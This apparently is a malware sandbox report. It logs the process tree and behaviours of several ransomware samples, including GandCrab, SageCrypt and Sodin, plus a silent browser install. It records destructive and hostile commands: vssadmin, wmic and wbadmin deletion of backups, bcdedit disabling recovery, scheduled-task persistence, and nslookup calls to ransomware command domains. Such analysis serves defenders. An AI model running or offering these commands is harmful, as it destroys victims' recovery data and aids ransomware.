- Suspicious use of SetThreadContext
-
C:\Users\Admin\Desktop\00367\Trojan-Ransom.Win32.GandCrypt.gzu-1f6f620b2bc24b0c4fb84ca681981f85b312b0ba9d2b9964a6c5aaf2388f8590.exe"C:\Users\Admin\Desktop\00367\Trojan-Ransom.Win32.GandCrypt.gzu-1f6f620b2bc24b0c4fb84ca681981f85b312b0ba9d2b9964a6c5aaf2388f8590.exe"5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\Desktop\00367\Trojan-Ransom.Win32.GandCrypt.jcc-4bca0ed45ccd318fd65596f97d39c61f47ed4d81de5069a538008cb7268a4226.exeTrojan-Ransom.Win32.GandCrypt.jcc-4bca0ed45ccd318fd65596f97d39c61f47ed4d81de5069a538008cb7268a4226.exe4⤵
- Executes dropped EXE
- Adds Run key to start application
- Enumerates connected drives
- System Location Discovery: System Language Discovery
- Checks processor information in registry
-
C:\Windows\SysWOW64\nslookup.exenslookup nomoreransom.coin dns1.soprodns.ru5⤵
-
-
C:\Windows\SysWOW64\nslookup.exenslookup nomoreransom.bit dns1.soprodns.ru5⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\nslookup.exenslookup gandcrab.bit dns2.soprodns.ru5⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\nslookup.exenslookup nomoreransom.coin dns2.soprodns.ru5⤵
-
-
C:\Windows\SysWOW64\nslookup.exenslookup nomoreransom.bit dns2.soprodns.ru5⤵
-
-
C:\Windows\SysWOW64\nslookup.exenslookup gandcrab.bit dns1.soprodns.ru5⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\nslookup.exenslookup nomoreransom.coin dns1.soprodns.ru5⤵
-
-
C:\Windows\SysWOW64\nslookup.exenslookup nomoreransom.bit dns1.soprodns.ru5⤵
-
-
C:\Windows\SysWOW64\nslookup.exenslookup gandcrab.bit dns2.soprodns.ru5⤵
-
-
C:\Windows\SysWOW64\nslookup.exenslookup nomoreransom.coin dns2.soprodns.ru5⤵
-
-
C:\Windows\SysWOW64\nslookup.exenslookup nomoreransom.bit dns2.soprodns.ru5⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\nslookup.exenslookup gandcrab.bit dns1.soprodns.ru5⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\nslookup.exenslookup nomoreransom.coin dns1.soprodns.ru5⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\nslookup.exenslookup nomoreransom.bit dns1.soprodns.ru5⤵
-
-
C:\Windows\SysWOW64\nslookup.exenslookup gandcrab.bit dns2.soprodns.ru5⤵
-
-
C:\Windows\SysWOW64\nslookup.exenslookup nomoreransom.coin dns2.soprodns.ru5⤵
-
-
C:\Windows\SysWOW64\nslookup.exenslookup nomoreransom.bit dns2.soprodns.ru5⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\nslookup.exenslookup gandcrab.bit dns1.soprodns.ru5⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\nslookup.exenslookup nomoreransom.coin dns1.soprodns.ru5⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\nslookup.exenslookup nomoreransom.bit dns1.soprodns.ru5⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\nslookup.exenslookup gandcrab.bit dns2.soprodns.ru5⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\nslookup.exenslookup nomoreransom.coin dns2.soprodns.ru5⤵
-
-
C:\Windows\SysWOW64\nslookup.exenslookup nomoreransom.bit dns2.soprodns.ru5⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\nslookup.exenslookup gandcrab.bit dns1.soprodns.ru5⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\nslookup.exenslookup nomoreransom.coin dns1.soprodns.ru5⤵
-
-
C:\Windows\SysWOW64\nslookup.exenslookup nomoreransom.bit dns1.soprodns.ru5⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\nslookup.exenslookup gandcrab.bit dns2.soprodns.ru5⤵
-
-
C:\Windows\SysWOW64\nslookup.exenslookup nomoreransom.coin dns2.soprodns.ru5⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\nslookup.exenslookup nomoreransom.bit dns2.soprodns.ru5⤵
-
-
C:\Windows\SysWOW64\nslookup.exenslookup gandcrab.bit dns1.soprodns.ru5⤵
-
-
C:\Windows\SysWOW64\nslookup.exenslookup nomoreransom.coin dns1.soprodns.ru5⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\nslookup.exenslookup nomoreransom.bit dns1.soprodns.ru5⤵
-
-
C:\Windows\SysWOW64\nslookup.exenslookup gandcrab.bit dns2.soprodns.ru5⤵
-
-
C:\Windows\SysWOW64\nslookup.exenslookup nomoreransom.coin dns2.soprodns.ru5⤵
-
-
C:\Windows\SysWOW64\nslookup.exenslookup nomoreransom.bit dns2.soprodns.ru5⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\nslookup.exenslookup gandcrab.bit dns1.soprodns.ru5⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\nslookup.exenslookup nomoreransom.coin dns1.soprodns.ru5⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\nslookup.exenslookup nomoreransom.bit dns1.soprodns.ru5⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\nslookup.exenslookup gandcrab.bit dns2.soprodns.ru5⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\nslookup.exenslookup nomoreransom.coin dns2.soprodns.ru5⤵
-
-
C:\Windows\SysWOW64\nslookup.exenslookup nomoreransom.bit dns2.soprodns.ru5⤵
-
-
C:\Windows\SysWOW64\nslookup.exenslookup gandcrab.bit dns1.soprodns.ru5⤵
-
-
C:\Windows\SysWOW64\nslookup.exenslookup nomoreransom.coin dns1.soprodns.ru5⤵
-
-
C:\Windows\SysWOW64\nslookup.exenslookup nomoreransom.bit dns1.soprodns.ru5⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\nslookup.exenslookup gandcrab.bit dns2.soprodns.ru5⤵
-
-
C:\Windows\SysWOW64\nslookup.exenslookup nomoreransom.coin dns2.soprodns.ru5⤵
-
-
C:\Windows\SysWOW64\nslookup.exenslookup nomoreransom.bit dns2.soprodns.ru5⤵
-
-
C:\Windows\SysWOW64\nslookup.exenslookup gandcrab.bit dns1.soprodns.ru5⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\nslookup.exenslookup nomoreransom.coin dns1.soprodns.ru5⤵
-
-
-
C:\Users\Admin\Desktop\00367\Trojan-Ransom.Win32.GandCrypt.jdv-36dd709f3b95b414fde671bf19d4d8e5005bd78ea93fa289d2dfee53e6cad6e6.exeTrojan-Ransom.Win32.GandCrypt.jdv-36dd709f3b95b414fde671bf19d4d8e5005bd78ea93fa289d2dfee53e6cad6e6.exe4⤵
- Executes dropped EXE
- Checks processor information in registry
-
-
C:\Users\Admin\Desktop\00367\Trojan-Ransom.Win32.GandCrypt.jes-2e8c8217af2cf24aa4c0a7ca9fac5d9af8a5fbd97a315308bfa0acd79f8c74b9.exeTrojan-Ransom.Win32.GandCrypt.jes-2e8c8217af2cf24aa4c0a7ca9fac5d9af8a5fbd97a315308bfa0acd79f8c74b9.exe4⤵
- Executes dropped EXE
- Checks processor information in registry
-
-
C:\Users\Admin\Desktop\00367\Trojan-Ransom.Win32.GandCrypt.jhg-0bd52fb870d8fe168bf0572b0aee988289a6e566fc152109e2ae1d36b7403a3a.exeTrojan-Ransom.Win32.GandCrypt.jhg-0bd52fb870d8fe168bf0572b0aee988289a6e566fc152109e2ae1d36b7403a3a.exe4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Checks processor information in registry
-
-
C:\Users\Admin\Desktop\00367\Trojan-Ransom.Win32.Gen.pvd-13507f1f60e81e3fcfc2244f5b9e4f5d9d04c6f0beaa34429879afdb24720c07.exeTrojan-Ransom.Win32.Gen.pvd-13507f1f60e81e3fcfc2244f5b9e4f5d9d04c6f0beaa34429879afdb24720c07.exe4⤵
- Checks computer location settings
- Executes dropped EXE
- Enumerates connected drives
- System Location Discovery: System Language Discovery
- Checks processor information in registry
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout -c 5 & del "C:\Users\Admin\Desktop\00367\Trojan-Ransom.Win32.Gen.pvd-13507f1f60e81e3fcfc2244f5b9e4f5d9d04c6f0beaa34429879afdb24720c07.exe" /f /q5⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\timeout.exetimeout -c 56⤵
- System Location Discovery: System Language Discovery
- Delays execution with timeout.exe
-
-
-
-
C:\Users\Admin\Desktop\00367\Trojan-Ransom.Win32.Gen.qqw-fd49914f47d9ed24fe475c263a32b34d9ed9e472379ede30530a4a3c64510d24.exeTrojan-Ransom.Win32.Gen.qqw-fd49914f47d9ed24fe475c263a32b34d9ed9e472379ede30530a4a3c64510d24.exe4⤵
- Checks computer location settings
- Drops startup file
- Executes dropped EXE
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Checks processor information in registry
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c vssadmin delete shadows /all /quiet5⤵
-
-
-
C:\Users\Admin\Desktop\00367\Trojan-Ransom.Win32.Locky.uu-8830340906fb52994d61ca61080ee5bef27e1da8fe7c104e835e31ca0b16c8c1.exeTrojan-Ransom.Win32.Locky.uu-8830340906fb52994d61ca61080ee5bef27e1da8fe7c104e835e31ca0b16c8c1.exe4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\Desktop\00367\Trojan-Ransom.Win32.Loo.c-924cc338d5d03f8914fe54f184596415563c4172679a950245ac94c80c023c7d.exeTrojan-Ransom.Win32.Loo.c-924cc338d5d03f8914fe54f184596415563c4172679a950245ac94c80c023c7d.exe4⤵
- Executes dropped EXE
- Sets desktop wallpaper using registry
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\Desktop\00367\Trojan-Ransom.Win32.Phpw.nh-5108c241f59800cc833025af2b3a7a4e5713fe75d292d9fa39253fbfa5ae9042.exeTrojan-Ransom.Win32.Phpw.nh-5108c241f59800cc833025af2b3a7a4e5713fe75d292d9fa39253fbfa5ae9042.exe4⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies Control Panel
-
-
C:\Users\Admin\Desktop\00367\Trojan-Ransom.Win32.Rack.ai-5578d702c7fd246e11f71c4edb27b316ca267c6161effab324c9f6e6260bc9e5.exeTrojan-Ransom.Win32.Rack.ai-5578d702c7fd246e11f71c4edb27b316ca267c6161effab324c9f6e6260bc9e5.exe4⤵
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
-
C:\Windows\SysWOW64\explorer.exe"C:\Windows\system32\explorer.exe"5⤵
- Adds Run key to start application
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
-
C:\Windows\SYSTEM32\vssadmin.exevssadmin.exe Delete Shadows /All /Quiet6⤵
- Interacts with shadow copies
-
-
-
-
C:\Users\Admin\Desktop\00367\Trojan-Ransom.Win32.SageCrypt.eyt-680f825667330b4411f1500805e668c8366fe2ecbb6f29b79877b78774f6405b.exeTrojan-Ransom.Win32.SageCrypt.eyt-680f825667330b4411f1500805e668c8366fe2ecbb6f29b79877b78774f6405b.exe4⤵
- Checks computer location settings
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\Desktop\00367\Trojan-Ransom.Win32.SageCrypt.eyt-680f825667330b4411f1500805e668c8366fe2ecbb6f29b79877b78774f6405b.exe"C:\Users\Admin\Desktop\00367\Trojan-Ransom.Win32.SageCrypt.eyt-680f825667330b4411f1500805e668c8366fe2ecbb6f29b79877b78774f6405b.exe" g5⤵
- Executes dropped EXE
-
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /CREATE /TN "txzsHJoH" /TR "C:\Users\Admin\Desktop\00367\Trojan-Ransom.Win32.SageCrypt.eyt-680f825667330b4411f1500805e668c8366fe2ecbb6f29b79877b78774f6405b.exe" /SC ONLOGON /RL HIGHEST /F5⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\explorer.exe"C:\Windows\syswow64\explorer.exe"5⤵
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: MapViewOfSection
-
C:\Windows\SysWOW64\explorer.exe"C:\Windows\syswow64\explorer.exe"6⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C vssadmin.exe delete shadows /all /quiet6⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C wmic shadowcopy delete6⤵
-
C:\Windows\SysWOW64\Wbem\WMIC.exewmic shadowcopy delete7⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C wbadmin delete catalog -quiet6⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C vssadmin.exe delete shadows /all /quiet6⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C wmic shadowcopy delete6⤵
-
C:\Windows\SysWOW64\Wbem\WMIC.exewmic shadowcopy delete7⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C wbadmin delete catalog -quiet6⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C vssadmin.exe delete shadows /all /quiet6⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C wmic shadowcopy delete6⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV17⤵
-
-
C:\Windows\SysWOW64\Wbem\WMIC.exewmic shadowcopy delete7⤵
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C wbadmin delete catalog -quiet6⤵
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\Desktop\!HELP_SOS.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}6⤵
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\f1.vbs"6⤵
-
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /DELETE /TN /F "txzsHJoH"6⤵
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\f710524372.vbs"6⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C vssadmin.exe delete shadows /all /quiet6⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C wmic shadowcopy delete6⤵
-
C:\Windows\SysWOW64\Wbem\WMIC.exewmic shadowcopy delete7⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C wbadmin delete catalog -quiet6⤵
-
-
-
-
C:\Users\Admin\Desktop\00367\Trojan-Ransom.Win32.Shade.poa-26fec998b7b9ad941a346184b1eaaf7fc603abf8f8f96da025ba96f7021e7351.exeTrojan-Ransom.Win32.Shade.poa-26fec998b7b9ad941a346184b1eaaf7fc603abf8f8f96da025ba96f7021e7351.exe4⤵
- Executes dropped EXE
-
-
C:\Users\Admin\Desktop\00367\Trojan-Ransom.Win32.Sodin.b-6f286e8322e4799f8afe0f431dec82e955f193e68e81d1ec0a94f7597840317c.exeTrojan-Ransom.Win32.Sodin.b-6f286e8322e4799f8afe0f431dec82e955f193e68e81d1ec0a94f7597840317c.exe4⤵
- Checks computer location settings
- Executes dropped EXE
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /All /Quiet & bcdedit /set {default} recoveryenabled No & bcdedit /set {default} bootstatuspolicy ignoreallfailures5⤵
-
-
-
C:\Users\Admin\Desktop\00367\UDS-Trojan-Ransom.Win32.GandCrypt.a-c92a67ff97aa05bb53a054ceb7991fd904e38bec205e50c609066f3a1582e723.exeUDS-Trojan-Ransom.Win32.GandCrypt.a-c92a67ff97aa05bb53a054ceb7991fd904e38bec205e50c609066f3a1582e723.exe4⤵
- Executes dropped EXE
- Checks processor information in registry
-
-
-
-
C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Public\Desktop\VEONJCZU-MANUAL.txt2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\{F1DB3B14-2554-44E8-B8B3-3DAE07A1FEF7}.exe"C:\Users\Admin\AppData\Local\Temp\{F1DB3B14-2554-44E8-B8B3-3DAE07A1FEF7}.exe" --job-name=yBrowserDownloader-{59937C1D-6040-40B5-B356-C925156D746D} --send-statistics --local-path=C:\Users\Admin\AppData\Local\Temp\{F1DB3B14-2554-44E8-B8B3-3DAE07A1FEF7}.exe --YABROWSER --cumtom-welcome-page=https://browser.yandex.ru/promo/welcome_com/5/ --silent --remote-url=http://downloader.yandex.net/downloadable_soft/browser/pseudoportal-ru/Yandex.exe?clid=2278714-666&ui={fbccab4e-9ce0-4357-ae52-db1073608601} --use-user-default-locale2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\AppData\Local\Temp\yb4B24.tmp"C:\Users\Admin\AppData\Local\Temp\yb4B24.tmp" --abt-config-resource-file="C:\Users\Admin\AppData\Local\Temp\abt_config_resource" --abt-update-path="C:\Users\Admin\AppData\Local\Temp\e2170907-1727-4267-8830-cdcb0367ae2f.tmp" --brand-name=yandex --brand-package="C:\Users\Admin\AppData\Local\Temp\BrandFile" --clids-file="C:\Users\Admin\AppData\Local\Temp\clids.xml" --cumtom-welcome-page=https://browser.yandex.ru/promo/welcome_com/5/ --install-start-time-no-uac=653304393 --installer-brand-id=yandex --installer-partner-id=pseudoportal-ru --installerdata="C:\Users\Admin\AppData\Local\Temp\master_preferences" --job-name=yBrowserDownloader-{59937C1D-6040-40B5-B356-C925156D746D} --local-path="C:\Users\Admin\AppData\Local\Temp\{F1DB3B14-2554-44E8-B8B3-3DAE07A1FEF7}.exe" --partner-package="C:\Users\Admin\AppData\Local\Temp\PartnerFile" --progress-window=0 --remote-url=http://downloader.yandex.net/downloadable_soft/browser/pseudoportal-ru/Yandex.exe?clid=2278714-666&ui={fbccab4e-9ce0-4357-ae52-db1073608601} --send-statistics --silent --source=lite --use-user-default-locale --variations-update-path="C:\Users\Admin\AppData\Local\Temp\6f99406a-cb53-4079-9e8a-3202c70d1097.tmp" --verbose-logging --yabrowser --yandex-website-icon-file="C:\Users\Admin\AppData\Local\Temp\website.ico"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\AppData\Local\Temp\YB_9F565.tmp\setup.exe"C:\Users\Admin\AppData\Local\Temp\YB_9F565.tmp\setup.exe" --install-archive="C:\Users\Admin\AppData\Local\Temp\YB_9F565.tmp\BROWSER.PACKED.7Z" --abt-config-resource-file="C:\Users\Admin\AppData\Local\Temp\abt_config_resource" --abt-update-path="C:\Users\Admin\AppData\Local\Temp\e2170907-1727-4267-8830-cdcb0367ae2f.tmp" --brand-name=yandex --brand-package="C:\Users\Admin\AppData\Local\Temp\BrandFile" --clids-file="C:\Users\Admin\AppData\Local\Temp\clids.xml" --cumtom-welcome-page=https://browser.yandex.ru/promo/welcome_com/5/ --install-start-time-no-uac=653304393 --installer-brand-id=yandex --installer-partner-id=pseudoportal-ru --installerdata="C:\Users\Admin\AppData\Local\Temp\master_preferences" --job-name=yBrowserDownloader-{59937C1D-6040-40B5-B356-C925156D746D} --local-path="C:\Users\Admin\AppData\Local\Temp\{F1DB3B14-2554-44E8-B8B3-3DAE07A1FEF7}.exe" --partner-package="C:\Users\Admin\AppData\Local\Temp\PartnerFile" --progress-window=0 --remote-url=http://downloader.yandex.net/downloadable_soft/browser/pseudoportal-ru/Yandex.exe?clid=2278714-666&ui={fbccab4e-9ce0-4357-ae52-db1073608601} --send-statistics --silent --source=lite --use-user-default-locale --variations-update-path="C:\Users\Admin\AppData\Local\Temp\6f99406a-cb53-4079-9e8a-3202c70d1097.tmp" --verbose-logging --yabrowser --yandex-website-icon-file="C:\Users\Admin\AppData\Local\Temp\website.ico"4⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\AppData\Local\Temp\YB_9F565.tmp\setup.exe"C:\Users\Admin\AppData\Local\Temp\YB_9F565.tmp\setup.exe" --install-archive="C:\Users\Admin\AppData\Local\Temp\YB_9F565.tmp\BROWSER.PACKED.7Z" --abt-config-resource-file="C:\Users\Admin\AppData\Local\Temp\abt_config_resource" --abt-update-path="C:\Users\Admin\AppData\Local\Temp\e2170907-1727-4267-8830-cdcb0367ae2f.tmp" --brand-name=yandex --brand-package="C:\Users\Admin\AppData\Local\Temp\BrandFile" --clids-file="C:\Users\Admin\AppData\Local\Temp\clids.xml" --cumtom-welcome-page=https://browser.yandex.ru/promo/welcome_com/5/ --install-start-time-no-uac=653304393 --installer-brand-id=yandex --installer-partner-id=pseudoportal-ru --installerdata="C:\Users\Admin\AppData\Local\Temp\master_preferences" --job-name=yBrowserDownloader-{59937C1D-6040-40B5-B356-C925156D746D} --local-path="C:\Users\Admin\AppData\Local\Temp\{F1DB3B14-2554-44E8-B8B3-3DAE07A1FEF7}.exe" --partner-package="C:\Users\Admin\AppData\Local\Temp\PartnerFile" --progress-window=0 --remote-url=http://downloader.yandex.net/downloadable_soft/browser/pseudoportal-ru/Yandex.exe?clid=2278714-666&ui={fbccab4e-9ce0-4357-ae52-db1073608601} --send-statistics --silent --source=lite --use-user-default-locale --variations-update-path="C:\Users\Admin\AppData\Local\Temp\6f99406a-cb53-4079-9e8a-3202c70d1097.tmp" --verbose-logging --yabrowser --yandex-website-icon-file="C:\Users\Admin\AppData\Local\Temp\website.ico" --verbose-logging --run-as-admin --target-path="C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application" --child-setup-process --restart-as-admin-time=6806273865⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- System Time Discovery
- Modifies registry class
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\AppData\Local\Temp\YB_9F565.tmp\setup.exeC:\Users\Admin\AppData\Local\Temp\YB_9F565.tmp\setup.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\User Data\Crashpad" --url=https://crash-reports.browser.yandex.net/submit --annotation=machine_id=488dca4c15f9a1d330ad312b391a804e --annotation=main_process_pid=9588 --annotation=plat=Win32 --annotation=prod=Yandex --annotation=session_logout=False --annotation=ver=24.10.2.705 --initial-client-data=0x334,0x338,0x344,0x33c,0x368,0xb4cbe8,0xb4cbf4,0xb4cc006⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Windows\TEMP\sdwra_9588_53654413\service_update.exe"C:\Windows\TEMP\sdwra_9588_53654413\service_update.exe" --setup6⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
-
C:\Program Files (x86)\Yandex\YandexBrowser\24.10.2.705\service_update.exe"C:\Program Files (x86)\Yandex\YandexBrowser\24.10.2.705\service_update.exe" --install7⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\clidmgr.exe"C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\clidmgr.exe" --appid=yabrowser --vendor-xml-path="C:\Users\Admin\AppData\Local\Temp\clids.xml"6⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\clidmgr.exe"C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\clidmgr.exe" --appid=yabrowser --vendor-xml-path="C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Temp\source9588_1376368695\Browser-bin\clids_yandex_second.xml"6⤵
-
-
-
-
-
-
C:\Windows\system32\cmd.execmd /C "systeminfo.exe > C:\Users\Admin\AppData\Local\Temp\E3F5.bin1"2⤵
-
C:\Windows\system32\systeminfo.exesysteminfo.exe3⤵
- Gathers system information
-
-
-
C:\Windows\system32\cmd.execmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\E3F5.bin1"2⤵
-
-
C:\Windows\system32\cmd.execmd /C "net view >> C:\Users\Admin\AppData\Local\Temp\E3F5.bin1"2⤵
-
C:\Windows\system32\net.exenet view3⤵
- Discovers systems in the same network
-
-
-
C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\browser.exe"C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\browser.exe" --progress-window=0 --install-start-time-no-uac=6533043932⤵
- Checks computer location settings
- Loads dropped DLL
- Adds Run key to start application
- Checks system information in the registry
- Suspicious use of SetThreadContext
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: MapViewOfSection
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\browser.exeC:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\browser.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\User Data\Crashpad" --url=https://crash-reports.browser.yandex.net/submit --annotation=machine_id= --annotation=main_process_pid=5336 --annotation=metrics_client_id=35ed6f1f4e634915b0ba14e7aa318e62 --annotation=plat=Win32 --annotation=prod=Yandex --annotation=session_logout=False --annotation=ver=24.10.2.705 --initial-client-data=0x260,0x264,0x268,0x23c,0x26c,0x73639a24,0x73639a30,0x73639a3c3⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\browser.exe"C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\browser.exe" --type=gpu-process --user-id=fbccab4e-9ce0-4357-ae52-db1073608601 --brand-id=yandex --partner-id=pseudoportal-ru --gpu-preferences=UAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --gpu-process-kind=sandboxed --field-trial-handle=2472,i,5970696789429418870,6979242392126691207,262144 --enable-features=InstallerNewIdentity2024 --variations-seed-version --mojo-platform-channel-handle=2452 /prefetch:23⤵
-
-
C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\browser.exe"C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\browser.exe" --type=gpu-process --user-id=fbccab4e-9ce0-4357-ae52-db1073608601 --brand-id=yandex --partner-id=pseudoportal-ru --gpu-preferences=UAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=disabled --gpu-process-kind=trampoline --field-trial-handle=2224,i,5970696789429418870,6979242392126691207,262144 --enable-features=InstallerNewIdentity2024 --variations-seed-version --mojo-platform-channel-handle=2172 /prefetch:63⤵
-
-
C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\browser.exe"C:\Users\Admin\AppData\Local\Yandex\YandexBrowser\Application\browser.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=ru --service-sandbox-type=none --user-id=fbccab4e-9ce0-4357-ae52-db1073608601 --brand-id=yandex --partner-id=pseudoportal-ru --process-name="Network Service" --field-trial-handle=2404,i,5970696789429418870,6979242392126691207,262144 --enable-features=InstallerNewIdentity2024 --variations-seed-version --mojo-platform-channel-handle=2236 --brver=24.10.2.705 /prefetch:33⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
-
